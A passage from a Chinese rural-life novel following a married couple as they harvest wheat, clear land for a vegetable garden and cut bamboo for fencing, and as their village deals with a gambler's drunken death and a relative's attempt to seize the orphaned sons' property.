苗秋莲在后面目送他出门,见他如今苦是苦了点,但好歹吃饭不愁,姑爷也没苛待,整天乐呵呵的,不见烦恼,总算放了心。 麦子反复碾压,最后一层麦秸挑开后,地上就只剩麦粒和混在其中的尘土麦壳。 恰好有风,他俩拿了木掀开始扬麦,轻的尘土被风吹走,麦壳和短的麦秸顺着风落地,在旁边渐渐成了堆,麦粒则落回地面。 农活苦累又脏,但看着麦粒出来,两人心里很踏实。 黄昏已至,太阳在西边染红云层,有风吹来,总算凉快了许多。 顾兰时擦擦汗,看着成堆的麦粒笑道:“先吃饭,吃完再装,来得及。” “嗯。”裴厌放下木掀,从旁边木柴堆上拿了簸箕放在麦堆旁边,又从杂屋取了一叠麻袋出来,这才洗手脸。 一下午都在干活,肚子饿得直叫,饭菜端上桌后,两人顾不得说话,埋头就吃,待填饱肚子后才觉得那一口气喘过来了。 顾兰时想起一件事,说道:“户籍还没办,这两天说不定差役就下来了,我那份粮税估计要算在爹娘那边,到时得拿过去一些补给他们,回头办好户籍,到秋收时就方便了。” “好。”裴厌说着,将糙馒头掰成小块,丢进菜碗里拌菜汤。 吃完来不及洗碗,趁天色还亮,两人先把麦子装进麻袋里,最底下的麦粒混着土,裴厌用簸箕颠簸扬动,随着尘土分离,也就干净了。 丰收的喜悦萦绕在心头,睡着后顾兰时梦里都在吃白面条。 夜里起了风,带着一点寒意从窗外吹进来,风势越来越大,裹挟着院里的麦壳扑进屋子。 裴厌下去关了窗子,再上来惊醒了正在梦里吃面的顾兰时。 顾兰时翻个身,连眼睛都没睁开,听见外头风声,低声问道:“起风了?” “嗯。”裴厌同样累了,闭着眼睛躺好。 窗子一关,屋里没有外面那么凉快,他俩睡前只草草洗漱,头发和身上不可避免都有灰尘,他没讨嫌往顾兰时身上凑。 风后就是雨,到第二天醒来,小雨下了半宿,地面都湿了。 顾兰时在灶房烧水,心想幸好昨天一鼓作气把麦子装了,连着干几天活,又脏又热,出汗把头发都打湿了,他觉得头痒,用手背轻轻蹭了几下,又往灶底添了一把柴,水烧开就能洗了。 等裴厌还了毛驴打了筐猪草回来,他已经洗了头发正在擦拭。 “锅里水多,你先洗头还是洗澡?”顾兰时问道。 裴厌进堂屋把筐子里的草掏出来,攥一把草站在屋檐下甩掉草叶上的雨水,前两天晒的干草还有一些,和这些湿草混着喂猪。 他边甩水边说:“你先洗,我弄完这些洗头发。” 忙完收麦这一茬,心像是歇了下来,下雨其他活也能缓一缓,顾兰时泡在浴桶里放松了身躯。 * 日子多是些琐碎事,地里一年到头都有活,草要拔柴豆也要种,得了空两人赶去县衙将户籍办好,了结了这件大事。 这日清晨,裴厌没有去地里,拿了锄头将最后一片荒草锄完,前两天锄草遇到几条蛇,不过随着露出来的地面越宽广,蛇虫鼠蚁没有遮蔽的地方,都逃窜走了。 眼前十分开阔,离种菜又近了一步,顾兰时很高兴,将脚下一块石头捡起来扔到板车上,便和裴厌来到一间破草屋前。 他朝里看一眼,说道:“木头都腐朽了,还是别进去。” “嗯。”裴厌知道利害,挽起衣袖用铁锨顶着泥墙试了试力气,发现这墙摇摇欲坠,干脆和顾兰时一起,用力将泥墙推倒。 眼瞅着泥墙晃动,两人连忙往后退。 土墙和房顶轰然倒塌,溅起一地黄土。 顾兰时用手扇扇面前灰尘,见还有一面残墙没倒,他俩用铁锨用锄头弄倒,不然收拾木头和腐烂的稻草时不放心,全弄倒就没有后顾之忧。 茅草屋成了废墟,裴厌拉着板车上前,看几眼说:“木头生了虫,就不要了。” “好,咱们也不差这点柴火。”顾兰时答应着,和他一起把烂木头抬上板车,拉到远处已经改道的干涸河沟里倒掉。 四间茅草屋都不大,墙好推,泥墙一倒,房顶也跟着塌了,收拾完木头和黄泥墙后,里面的土炕也要砸,更费力气些,好在裴厌干惯了重活,有顾兰时帮忙,一天半就干完了。 拉完最后一车杂碎东西,回来后一眼就能看到自家院子,一下子有了敞亮的感觉,顾兰时笑眯眯的。 有两户人家屋前屋后栽了梧桐树,裴厌说道:“这几棵树得砍了,不然刚好占在中间。” 地面也不太平,种菜之前不但要平整,还要深翻一遍,全都是活,听见他还要砍树,顾兰时一点不嫌活多,这会子受点累,以后种菜种果树更方便。 第63章 后山这片开阔地恰好坐北朝南,北边被矮山崖挡着,山崖是内陷进去的弯弧形。 里头稍狭窄,但也能建起一座院落,院子两旁还各有三四丈余地,单单一户人家住在这里,一点都不觉得拥挤。 从院子往前,也就是往南走大约八丈,不再受两边弧形山壁阻挡,地界自然宽阔起来。 没了杂草和破屋子,树也砍掉了,连树根都挖干净,光秃秃的地面露出来,这几天风一吹尘土较大。 早起两人先出门打了四筐草,又上柴豆地里转。 尽管地里插了好几个稻草人,还是会有种子被鸟雀野鸡什么的刨出来,发现了得趁早补种,顺便拔拔草。 常常来地里侍弄,野草并不多。 顾兰时揪起两根细草扔在田垄上,等晌午太阳大了,没两天就能晒死,如今地里这点小草苗子还不够猪塞牙缝的,没必要带回去。 两个人一起在地里巡视,拔草没费太多工夫,他跨上地头,跺跺鞋底泥土,说道:“过了晌午再去水田那边?” “行。”裴厌点点头,知道他一颗热心扑在门口菜地上,这会儿才半早上,回去能干不少活。 两人往回走,顾兰时瞧见前面有个熟悉的人影,是西邻家周平,还没近前,他笑着喊道:“平叔。” 周平今日也不知怎么了,面上一团喜气,逢人就笑,因有太阳,他不自觉眯起眼睛,眼尾和脸上褶皱比较明显,他笑呵呵的:“是兰哥儿,你们回去?” 顾兰时说道:“嗯,刚拔了草,我看你们那边的草也不多。” 这边是裴厌买徐应子的一亩旱田,周平后来也买了徐应子两亩地,都是旱田,恰好就在旁边。 见周平实在高兴,他好奇问道:“平叔,你怎么这样高兴?家里有喜事?” 一句话让周平脸上褶子更多,笑着说:“你石头哥日子算好了,下个月十六,到时都来吃喜酒。” 周石头比顾兰时大,今年十八岁了,家底没有顾家那么好,但也能饱足,前两年说了一门亲事,后来因彩礼数和家产田地稍差一点,那家人有点不情愿,最后黄了,如今总算定了下来。 顾兰时忙不迭点头,笑道:“好好,我俩一定去,这下叔和婶子都安心了,嫂子是哪里人?” 因上一门亲事黄之前,周平和刘桂花太高兴,给村里不少人说周石头快定亲了,后来只觉丢脸,这回便闭了嘴,只有媒人和相熟的亲戚朋友知道,直到落实后才敢在村里说。 顾兰时最近太忙,回家听他娘说了一嘴,具体的不得知。 周平心里高兴,有什么说什么,道:“是十全村的,离咱们也近,我和你婶子都托人打听清楚了,知根知底,家里都是老实本分的,你石头哥见了也愿意,这不就定了。” 他看一眼裴厌,因喜悦也不觉得活阎王那么可怕了,又说道:“酒水我和你婶子都商量好了,管够,到时一定记得来。” 原是十全村的,顾兰时笑道:“嗯,肯定去,那平叔,我俩先走了,你忙着。” “好好。”周平往地里去拔草,走路腰杆都比平时直。 顾兰时边走边说:“平叔家和我们家关系好,如今咱俩立了一个门户,去吃喜酒自然要送礼。” 他有点忐忑,看向裴厌顿住了,言下之意就是要和村里人有往来,这些来往不止是见面喊人,婚丧嫁娶这些事也都得送礼或是帮忙。 裴厌明白他的意思,说道:“到时在白水村买坛酒就好,之前去那边做工,听大哥说那边酿酒的人家手艺不错,虽不如禾笙坊的酒,也足够了。” 成亲哪有不喝酒的,况且酒是好东西,拿去送礼又体面又能帮主家多凑一坛,乡下人家也送不起太多太贵重的贺礼,碰上亲戚朋友家里有喜事,送礼不是酒水就是鱼肉这些。 稍穷些的,能拎份糕点就算不错,再有更穷苦的,送礼多是烧饼或是一两斤米面,家家境况不同,送礼自然有差别。 顾兰时笑道:“好,白宏家的酒我听爹说过,虽也是浊酒,但比别处的好些,之前他曾买过拿去给人送礼,贵是贵了十文,不过平叔和家里关系好,送这个不错的。” “嗯。”裴厌回应一声。 人情往来,门户之间送礼,以后他们有事别人也要来,都是互相的。 如今有周石头这件事,裴厌能和村里人打交道,顾兰时还是很高兴的,花点钱而已,而且过去了也能吃酒。 等两人回来,看着这么大一片空地,进院门也不用绕路了,直直往前走就是。 裴厌看着地面,思索一下道:“从院门出来是条直路,不如上河里捞些石子,铺成石子路,下雨天走不会太泥泞。” 青石板得找石匠挖凿,找石料也费工夫,用小的石子石块铺一条路,确实比较合适。 顾兰时一看见这片地就笑眯眯的,从河里捞点石子又不要钱,自然愿意。 一开门大黑趴在院里,见它没水了,顾兰时先给它舀水,又去喂了猪和鸡鸭,夏天牲口禽畜都要多喝水,不然要热出毛病。 裴厌拿了铁锨出去平整土地,将凸起的地面铲平,把铲下来的土用铁锨顺手丢进不远处低陷的地方,填土不够,他在西边树林子里挖了些,也就垫平了。 顾兰时伺候完牲口,也拿了铁锨出门,东边地面已经整顿好了,西边只剩一小片地方。 两人合力铲土平地,遇到硬的土疙瘩用锨背一一拍碎,十分细致。 待平整完后,顾兰时抬眼一看,又平又大一片地,满心都是欢喜。 裴厌拎着铁锨往边沿处走,说:“先把线划出来,篱笆插好,再翻地不迟。” “行。”顾兰时跟着他去划线。 之前他俩商量过了,菜地还是用篱笆圈起来好,以后种的菜多了,村里人要想摘点菜其实没什么,就怕有坏心眼的,趁天黑来毁坏。 圈好篱笆,再给大黑在外面盘个窝,夜里有它看着,万一出了什么动静,立马就能得知。 裴厌在开垦出来的边沿地停下,这片空地已经足够大了,他们只有两个人,若再扩张到树林子里去,实在太贪心了。 他用铁锨在地上划出痕迹,倒退着往后走,一直到南边的边沿处才停下,又转个弯,由西往东开始划线。 三条线和北边山崖最后圈出好大一片空地,种树种菜绝对排的开。 裴厌和顾兰时又从院门前用铁锨划出石子路的线,一人一边,中间留出约莫半丈宽的距离。 这其实是个无用功,从院门口往前是一条直道,铺石子的时候顺着往前就行了,无需多费力气划线。 只是这会儿两人都心热,划出来这边做什么,那里种什么,心里越发高兴。 长长的道路在最前面停下后,顾兰时笑眯眯的,说:“这里留个篱笆门,以后回来先开这个门。” 裴厌顺着他的话开口:“嗯,留宽一点,牲口和板车好进出。” 菜地先不急着分划,顾兰时一点不觉得累,转头说道:“要不这会儿上山砍竹子,地方大,做篱笆肯定要不少竹子。” 时辰还早,裴厌没有扫他的兴,眉宇间有笑意浮现,从他手里接过铁锨,自己扛着两把锨往回走,点头道:“好,喝点水就上去。” “我跟你一起。”顾兰时兴冲冲的。 两人没有耽误太久,带了两竹筒水,拿了柴刀和麻绳高高兴兴往山上走,到竹林后,裴厌挑一根竹子就砍。 家里柴刀只有一把,顾兰时带的是短斧。 青竹带着风声轰然倒下,他走到竹稍那边砍竹枝,青竹一根这么长,本来就沉,竹枝拖在地上会更沉,砍下来用绳子捆齐整,到时他拖下去就行了,省得裴厌太费力气。 一连砍了四根竹子后,两人一起把竹枝削砍干净,随后才坐在竹子上喝水歇息。 裴厌拿出手帕擦汗,见帕子脏了,他手一顿,盯着手帕觉得有点肉疼。 顾兰时瞥见,放下竹筒擦擦嘴巴上的水,说:“回去换一条,先前的帕子都洗干净了。” 成亲之后,裴厌的旧帕再没用过,顾兰时给他绣了好几条新帕子,他便舍弃了旧帕,颇有些喜新厌旧在。 干活哪有不脏的,新帕子也总有旧的那天,如今有夫郎了,以后肯定还会给他绣。 这么一想,裴厌才把手帕塞进袖子里,不再吝啬心疼。 竹子竹枝都是青湿的,分量不轻,两人一个拖竹子一个拖竹枝,一路边走边歇,费了一番劲总算弄回了家。 已经是晌午,顾兰时匆匆忙忙做饭,裴厌在院里砍竹子。 忽然听见外面狗叫声,裴厌放下柴刀去看,却是苗秋莲来了,二黑跑得快在前面,已经到门口,见他出来,眯起眼睛摇着尾巴讨好,但因大黑的威慑,一时不敢上前。 “去。”裴厌呵斥一声大黑,它往后退去,二黑这才嘤嘤叫着跑来,往他腿上蹭。 “岳母。”裴厌没有理会狗,往前几步迎上去。 苗秋莲笑道:“姑爷忙着呢。” 她看一眼大黑,见对方在阴凉处趴下,没有任何攻击的意图,心才放下,看来认人了。 裴厌将她迎进来,匆匆往堂屋去倒茶。 苗秋莲开口道:“姑爷不必忙,我说几句话就走,到做饭的时辰了。” 顾兰时从灶房出来,笑着问道:“娘,你怎么来了?有什么事?” 苗秋莲笑道:“这不是你石头哥要成亲了,我想着你俩立了门户,该去送个礼,和人家打打交道,是下个月十六号的好日子。” 顾兰时捋捋手上的水,说:“我知道,早上在地里碰见平叔了,他同我说了日子,改天裴厌去买白水村买酒水,到时提去就行。” 苗秋莲点点头:“好,这我就放心了。” 她刚过来时看见他俩把门口弄得那么干净敞亮,心里只觉舒坦,她最近忙,没过来,不曾想都拾掇好了,又见院里好几根青竹,问道:“竹子做什么用?” 提起这个,顾兰时笑眯眯的,说:“做篱笆,在外头围一圈,是个遮挡,不然光秃秃的。” 苗秋莲开口道:“是这个理,我才过来,看见地上有划出来的线,是种菜的地盘已经划好了?” 她说着就往外走,没有多留。 “划好了,以后就在里面种。”顾兰时喜笑颜开,和裴厌送她出门,又指着门口两条线说:“这里以后铺石子,弄一条路。” 他俩日子过得有章法规划,苗秋莲心里越发踏实,不怕人穷,就怕人没打算,如今再看,裴厌也是个会过日子的。 再看看这么大一片地界,以后种什么都不愁,她满意极了,连连点头称好。 第64章 天炎热,地里的活却不能懈怠,稻田里既要拔草又要看看禾苗长势和水位,好决定要不要通渠灌水。 忙碌大半天,到下午,两人打了猪草回来晾在院里空地上,又拿了家伙上山去砍竹子。 地方大,围篱笆要用到的竹子自然就多。 裴厌锁院门,顾兰时背着竹筐往西边山坡走,西边已经有一段篱笆扎好了,深深插进土地里,弄得十分结实。 篱笆也高,编的斜交又密,北边紧挨着山壁,因山壁凹凸不平,山壁和篱笆之间有一点空隙。 裴厌找了几根硬树枝削尖,尖头朝上,恰与篱笆高度齐平,另一端深插入土地里,又用脚踩实地面。 弄好后顾兰时试了试,很难拔出来,如此,大的缝隙便填上了,剩下一点小空当连小野兔都钻不进来。 往前没几步裴厌大步追上来,两人到跟前后绕过篱笆,听见鸟叫声,顾兰时说道:“今天掏几个鸟蛋,下午回来煮了吃。” 家里小鸡还没到下蛋的时候,他俩舍不得花钱买鸡蛋,有时闲了或是上山会顺便摸几个蛋解解馋。 裴厌开口道:“嗯,我在筐子里放了弹弓,看能不能打到竹鸡。” 山里的东西种类多,野鸡也分好几种,因竹鸡多在竹林、草丛里出现,便这样叫了。 这鸡并不大,腿脚却快,山上灌木丛草丛又密实,一旦钻进灌木丛中很难寻到,要捉就得手疾眼快。 “好。”顾兰时笑眯眯的,说:“我砍几根笋子,要抓到了,和笋子一起炖着吃。” 日子没那么苦,如今又慢慢走上正道,两人眉眼里并无愁绪烦恼,干活是累,但心里高兴 刚走上山坡,就看见前面不远处一大一小两个人影,都背着竹筐,边走边转着脑袋在附近地上看,应该是来挖野菜的。 顾兰时辨认一下,认出是徐启儿和徐瑞儿,兄弟俩看见有野蒿,便走过去蹲下挖掘。 他俩到近前后,顾兰时笑道:“启儿,来挖野菜?” “兰哥哥。”徐启儿听见声音转过头,见是他便叫了声,又戳戳弟弟,徐瑞儿随便用袖子擦一把鼻涕,也跟着叫了人。 和裴厌不熟,又见过对方砍人的场面,徐启儿心中胆怯,没敢多看裴厌。 他兄弟俩没有娘,爹又是赌鬼,成天不着家,衣裳破了没人补,徐启儿还好点,十二岁也知道事了,这几年做饭煮菜拉扯着弟弟没饿死,徐瑞儿八岁,瘦小又黑,流着鼻涕脏兮兮的,谁见了都要说声野猴子。 裴厌不在乎这些,见徐启儿惴惴不安,抬脚先往前去。 顾兰时和他俩比较熟,苗秋莲有时也会接济一下,给口吃的,不止她,村里其他人偶尔看他兄弟可怜,同样会给块糙馒头,徐启儿受了村里这些人的好,见了人嘴还是很乖的。 “你爹呢?”顾兰时问道。 徐启儿摇摇头:“不知道。” 顾兰时便对徐应子越发看不上,这都什么人,连儿子都不管,只顾自己吃喝玩赌。 他看着徐启儿磨烂的衣袖和膝盖说:“改天上你二伯家去,说几句好话,让你二娘给你俩补补衣裳。” 见徐启儿神色有点为难,他大概明白过来,想了一下原本想说改天得了空上后山来,他帮着补补,反正家里还有些碎布头。 但刚才看见徐启儿害怕裴厌,他家里还有个恶名在外的大黑,于是改了口说:“我刚好要去竹林,你若不嫌远,跟着一起去挖些笋子,给你二娘拿几根过去,跟她说想补衣裳,顶多听几句说嘴,衣裳补了才是正事。” 徐启儿二伯和二娘这几年一直在接济他俩,只是家里日子也没那么好,养自家几个孩子就挺吃力的,难免嘴上有点抱怨。 徐启儿到底是个半大的孩子,脸皮薄,被二娘训了几回就心灰意冷,不大敢过去了。 听他说得有理,衣裳破破烂烂实在惹人嫌,跟叫花子似的,徐启儿犹豫一会儿才点了头。 顾兰时笑道:“那行,现在就走。” 徐启儿和徐瑞儿背起竹筐跟在他身后,裴厌在前面等着,等三人近前后,他没说什么,独自走在前面。 顾兰时一边走一边同徐启儿说几句闲话。 到竹林边上后,还没进去,就见裴厌停下脚步,他下意识问道:“怎么了?” “有蛇,走那边。”裴厌说道。 顾兰时顺着他的目光看去,竹子底下盘了好几条蛇,他头皮发麻,立即跟着裴厌往远处绕。 进了竹林后,他帮着徐启儿徐瑞儿一起挖竹笋,等兄弟俩走之后,这才砍了五根笋子放进自己竹筐。 这几日天天都要上山砍竹子,很是方便,他要拖竹枝回去,竹笋挖多太沉了。 裴厌砍了三根竹子后,见这几根都够长,试试分量不轻,便坐下歇了一阵。 最近干活没怎么歇过,顾兰时也没急着去砍竹枝,走过来在旁边坐着。 常常干粗活,手指看着细瘦实际该有的力气一点都不少,指腹虽没茧子,但手掌略粗糙。 即便这样,裴厌摸着自己夫郎的手兴味十足,像是逮着什么好玩的东西一样,翻来覆去摩挲。 顾兰时习惯如此,没有在意这些,他有点想喝水,便从裴厌掌中抽出手,喝完后放下竹筒,见裴厌又来捞他的手,岔开话道:“过两天阿婆寿辰,咱们和我爹娘一起去舅舅家,家里没有渔网,我同爹说一声拿来,你提前一晚在河里下网,到时拎了鱼去,我娘肯定还要买肉和酒,咱们买不买?” 阿婆说的是外祖母,他们家习惯这样喊。 裴厌果然注意力被转移,手顿了一下,但还是抓过来,握在掌心里问道:“大姐二姐往年拿什么?” 见天儿都这么黏糊糊的,像这样抓着手还算好的,夜里稍微凉快一点就钻一个被窝,肉贴着肉裴厌不知道自己身上热,顾兰时却能感受到。 每每想推开人又怕裴厌生闷气,只得默默忍着,要么装作睡迷糊的样子喊一声热,就势从对方怀里滚出去,可这样的小心思一两次还好,多了就不管用,他往炕里滚,裴厌也跟着蹭过来。 顾兰时无声叹口气,说:“寿辰不比平时,要么鱼和酒要么肉和酒,满共两样提去。” 裴厌开口道:“那就买坛酒,和岳母买成一样的。” “行。”顾兰时点头,说:“她也是在白水村买,不用跑镇上去。” 歇一阵脚,裴厌从筐子里取了弹弓往竹林深处去了,顾兰时留在这里砍竹枝,等他砍完用麻绳捆好,在原地等一阵不见裴厌出来,这里有竹子和竹枝,万一离开了有人过来捡现成,而且竹林很大,也不知道裴厌进了哪个方向,他只好原处等待。 他觉得无聊干脆又砍了几颗笋子,回去焯过水晒成笋干攒着。 过了大概两刻钟,顾兰时听见林子里有动静,果然是裴厌过来了,手里还拎着两只小竹鸡。 “真打到了。”他十分惊喜。 裴厌同样高兴,将竹鸡递给他,说:“运气好,在里头转了一阵,发现一群十几只,不过窜得都快,这两只够吃了。” “够了够了。”顾兰时将竹鸡好生放在竹筐里,两人没多耽误,拖着东西高高兴兴往山下赶。 * 篱笆一段一段围上,连接处用竹片竹篾都编紧了,顾铁山得了空过来闲转,见他俩弄得好,心里也就放心了。 到顾兰时阿婆寿辰这天,因要带酒水鱼肉,顾兰生和顾兰河另立了门户,要过去拜寿自然也要带东西。 顾铁山早起就套好了驴车,能坐人也能放东西。 裴厌前一天就上山撒了网,早起收上来六条鱼,给了苗秋莲两条,让她做寿礼。 他和顾兰时带一条鱼和一坛酒,剩下分给顾兰生和顾兰河各一条,也是带去送礼。 还有一条鱼比较小,就巴掌大,留着放在水桶里明天他俩自己吃。 一大家子上午就出了门,因二嫂李月有了身孕,没有跟来,顾衡跟着堂兄弟顾满顾安一起坐在板车上玩闹。 顾兰时有三个舅舅一个姨母,到外祖家后热热闹闹的,怕裴厌拘谨,还特地同顾兰瑜叮嘱,让带着认人说笑。 顾兰瑜同裴厌渐渐熟悉,知晓他脾气其实没那么坏,是个讲理的人,就再没有之前的惧怕,他向来也靠谱,喝酒吃席都会喊裴厌。 顾兰时不放心,几次三番从屋里出来找裴厌身影,见他不是和舅舅喝酒就是同表哥表弟们坐在一起说笑,说笑的多是其他人,他在旁边听着,听到好笑处眉眼弯起,除了身高,在人群中没那么扎眼,也不会太沉默。 吃过饭又说笑一阵,亲戚陆续走了,顾铁山和苗秋莲也同苗老娘说一声,拖家带口又回去。 顾兰时走在裴厌旁边,见他因喝酒脸上微红,说:“回去喝点茶,解解酒,今日若乏了,先睡会儿歇着。” “嗯。”裴厌点点头,他今天确实喝的有点多,苗家舅舅多儿子多,都是亲戚,面子肯定要给,不知不觉就灌了不少。 天热,晚了大半天,顾衡几个也累了,坐在板车上你靠我我靠你,垂着小脑袋睡觉,脸蛋都红扑扑的。 车轱辘咯吱咯吱转动,总算回了村,一进村口却见方红花脚步匆匆往北边走,顾铁山喊住他老娘,问是不是有事。 方红花叹着气说:“把个徐应子给死了,他家彻底没了大人,我这不是先过去看看。” 苗秋莲连忙问道:“怎么死的?” 原来徐应子昨天喝得醉醺醺回了家,他素日一有不顺心常打骂两个儿子,因此徐启儿十分畏惧他,见他回房睡下也不敢惊动。 一直到今天下午,家里实在没米粮了,只吃野菜不是办法,徐启儿便推开房门想问他爹要几个钱,谁知炕上的徐应子连脸色都变了,徐启儿这才发现不对,怎么也喊不醒,上手推也不见醒来,着急就喊邻家过来看。 他年纪小,又没人教,整天绞尽脑汁只为给自己和弟弟弄口吃的,竟连死了人都没发现。 邻居一看脸色不对,当时心就惊了,再一探气息,果然,没了任何动静。 因徐启儿喊人时太慌乱,好几家都听见了,有个上了年纪有经验的老人过来一瞧,伸手掰开徐应子的嘴,却是喝醉了不省人事,就这么躺下,连自己吐了也醒不来,给呛死了。 苗秋莲听得直叹气,这徐应子满村人都不爱搭理,自从染上赌瘾后,好好的家硬是给败光了,就剩两亩薄地,还不好好伺候,只靠徐启儿一个半大的孩子去种。 她素来有点子热心,说道:“娘,我跟你一块儿去。” 她俩走之后,顾兰时听得心惊,徐应子确实可恶,如今却是这么个死法,他看一眼裴厌,心道看来以后喝酒还是要克制,不敢醉成那样。 第65章 傍晚,天有点暗了,顾兰时想了想,没有去徐家,先回家打听消息,一进院门听见灶房里的动静,他喊道:“娘?” “兰时哥哥,是我。”却是竹哥儿在里面刷锅洗碗。 家里其他人不在,顾兰时进灶房问道:“娘呢?” 竹哥儿一边放碗筷一边说:“爹娘都去徐家了,狗儿哥说出去打猪草,不知他去没去。” 顾兰时点点头,又问道:“娘有没有说什么?” 竹哥儿往灶底添把柴火,顾兰时见状,拎起装麦麸柴豆面的桶倒进锅里,又把案台上一盆切好的野薯倒进去,拿了煮猪食的大勺搅动几下。 竹哥儿站起来,拍拍手上木屑,说:“之前我和娘做饭,她说徐应子真死了,管事的说停三天,这都是小事,最可怜就是启儿和瑞儿,先是没了娘,如今混账爹也死了,往后也不知要怎么活。” “徐应子一死,启儿大伯二伯还好,村里人都看着,又是亲侄子,他两家没动什么花花肠子,听娘说,就数徐明子最可恶,他不过一个堂叔,撺掇着徐家其他亲戚过继了启儿和瑞儿,要分了徐应子家里那点房屋和田地。” 顾兰时皱眉道:“这黑心的,人还没埋就打起主意。” 竹哥儿也愤愤不平,说:“可不是,娘说徐明子装得像个人,一副为了启儿好的模样,话一出来大伙儿就知道他打什么坏主意了,给人骂了回去才消停。” 顾兰时想了一下,说道:“可他几家毕竟是亲戚,要真动了这样心思,启儿年纪尚小,独自面对那些大人,说不准要吃亏。” “这我就不知道了。”竹哥儿擦擦案台,开口道:“娘过去也只听了这么一耳朵,后边的事只能后边再看。” 顾兰时点点头,看天色晚了,他一个人出来,等明天和裴厌一起去徐家看看也不迟,于是同竹哥儿说一声就走了。 说起来下午到家之后,因裴厌喝多了酒,吃了几口茶去躺下,想起徐应子喝醉的事,他三番两次进屋去看,反而闹得裴厌没睡着。 这会儿想想,又没醉的睡过去,还从外祖家一路走回来,肯定没事,是他太忧心了。 穿过树林,远远就看见裴厌在插篱笆,他快步近前帮忙,一边说起徐家的事。 眼瞅着天渐渐黑了,两人没有贪活,弄完这一段就回去关了院门。 到第二天早上,打了几筐猪草和鸡草回来后,两人一起往徐应子家走, 后山这一段路没人,顾兰时说道:“徐明子实在黑心,启儿已是懂事的年龄,再过两三年都能说亲事了,徐应子一死,他又是大儿子,房子田地本就是人家的,还想着过继人家,得亏启儿和瑞儿都是儿子,要是双儿和姑娘,岂不是更吃亏。” 他转头看着裴厌,又说:“你前几年不在,周家村也就是大姐夫那边出了个跟这差不多的事,那家男人比徐应子强,挣了点薄产,死后只留下个女儿和寡母,人为钱和利连良心都不要了,孤女寡母竟被叔叔舅舅一伙亲戚联手算计给卖了,剩下房屋田产被抢了个干净。” 裴厌听着,眉头轻拧,神色没有太大变化,世人无情,儿子和亲爹娘之间互相猜疑陷害,甚至要命的事都有,何况是为钱财而来的一群豺狼。 但见顾兰时愤怒的模样,他应和一起骂道:“确实丧尽天良,连猪狗都不如了。” “对,一群黑心烂肠子的。”顾兰时无比赞同。 等他俩到徐应子家,院里坐着徐家一些本家亲戚和村里人,里正徐承安也在。 “叔公。”顾兰时喊了人,顺势走过来询问挖坟埋人的事,裴厌自然跟着他。 徐承安在抽旱烟,瞧着面上有些不快,方才徐明子几个动了歪心思的又来了,闹了一通,若不是他在这里压下去,恐怕今天都不得开交。 见他俩进门,徐承安还是笑了声,说:“你俩来了。” 村里人祖坟都在山上,徐应子的坟自有管事的上去寻地方,等会儿下山才能告诉大伙要埋在哪里。 徐应子一死,只剩个徐启儿徐瑞儿,也不知以后是个什么光景,来问挖坟的汉子不多,有过来的也只是可怜他兄弟俩年幼,倒不图别的人情往来,只当给自家积德了。 问过之后,顾兰时虽厌恶徐应子平日行径,但还是和裴厌进灵堂烧了柱香,徐启儿徐瑞儿和几个堂兄弟披麻戴孝烧纸钱,见他俩来烧香,都磕头回礼。 见徐启儿眼中全是茫然,他心中有些不忍,可别人家的事不好掺和,不然还要被徐明子那些心术不正的人编排他们也看上了徐家家产,只能劝慰两句,好在有里正在,又是徐家人,刚才听徐承安骂徐明子不安好心,可见他应该是要保徐启儿兄弟俩的。 和徐承安说一声,两人就要走,打算等坟地选好再让裴厌帮忙。 刚到门口,正碰上徐启儿大伯娘方美珠。 方美珠系着襜衣,抱了好几颗春菜,显然要去灶上忙,一看见裴厌她心中有点惧怕,忙不迭往旁边退,再看见顾兰时,她犹豫着,还是喊住了人。 “婶子,怎么了?”顾兰时问道。 方美珠有点不安,开口道:“兰哥儿,饭时要是有空,干脆过来帮忙,饭也在这边一并吃了。” 顾兰时明白她意思,想是来徐家帮忙的人少,院里这么多本家的老少爷们坐着,或有来奔丧吊唁的亲朋到了后,自然都要管饭。 他想了一下,实在可怜徐启儿,于是点点头:“行,我知道了婶子,快到饭时我就过来。” “好好,你们先去忙。”方美珠松一口气,总算多了个人手。 于是接下来三天,顾兰时瞅着时辰,到做饭的点就来徐家,村里其他帮忙的人也是如此,毕竟家里地里都有活干,徐家又不是没本家亲戚,一些迎来送往自然有亲戚去做,他们只管帮忙做饭。 裴厌跟着汉子们去挖坟,因有顾兰生顾兰河还有顾兰瑜,到饭点时过来吃饭都是一起的,不用回家再做。 到下葬这日,裴厌扛着铁锨和顾家人一起去埋人,因下葬之前就已经吃过素席,埋完他就下山回家了,别村里其他人离家都近。 顾兰时则留在徐家帮忙善后,拾掇完灶上活计后,又和村里夫郎妇人闲聊几句,就见送葬的一群人回来了。 徐启儿身上孝服还没脱,徐明子就在院里闹了起来,非要将两个侄儿过继一个给他。 徐承安一直坐在院里,见他按捺不住终于跳出来,冷笑着将烟袋锅往墙上磕两下,站起来就骂。 顾兰时原本想走,见院里一伙老少汉子蠢蠢欲动,连院门都堵着了,只好跟其他人一起在旁边看。 徐明子眼红房和地,对徐承安虽有惧怕,还是梗着脖子耍混,到最后竟口不择言,说徐承安是不是吞了钱,把徐承安气得脑门青筋直跳,怒目圆睁。 他说的钱,顾兰时这几天听人说了,当时徐应子死了后,从他身上翻出五两多碎银子,因徐启儿年幼,丧事一概不懂,便由徐承安暂为保管,丧事里的花销一概由这几两银子里出,送葬吃饭都很简单,也省得让徐启儿背上债了。 村里人背地里都说得亏死了,不然就这五六两银子,全都得扔进赌坊。 徐明子自知说错了话,徐承安是里正,又是他们徐家族长一般地位的人,见徐承安当真动了怒,他脑袋一缩,再不敢耍混,脚下挪动着想赶紧溜走。 “站住!”徐承安没给他机会,一声喊徐家其他人便将徐明子架了回来。 “村里大伙儿都在,还请做个见证,这是剩下的钱,头先各种花销,也记了下来。”徐承安从怀里掏出手帕,又对小儿子说:“去,找你永安叔来,让他给大伙儿念念账册。” 许永安认得字,又不是徐家人,并无利益纠葛,找他来没错。 顾兰时见徐启儿嘴唇干裂,无措看着众人,只觉眼前一幕荒唐,连里正都要给自己证清白了,这些人当真可恶。 正觉得没意思,忽然看门口裴厌进来了。 裴厌长得高,脸上没表情时冷冰冰的,一副凶相,原本在门口站着的几个徐家汉子下意识让开。 顾兰时避开妇人和夫郎,走到墙边朝裴厌招手,等人过来后问道:“你怎么来了?” “你半天没回去,过来看看。”裴厌说着,看一眼院里众人百态各相,他兴趣不大,问道:“走不走?” 顾兰时本就不想待了,可是徐承安一生气,院里其他人都不敢高声说话,他和裴厌要是就这么离开,好像有点扎眼,于是小声道:“等会儿,大伙儿散了时一起走。” 裴厌点点头,两人在墙下低声说几句话,就见许永安来了。 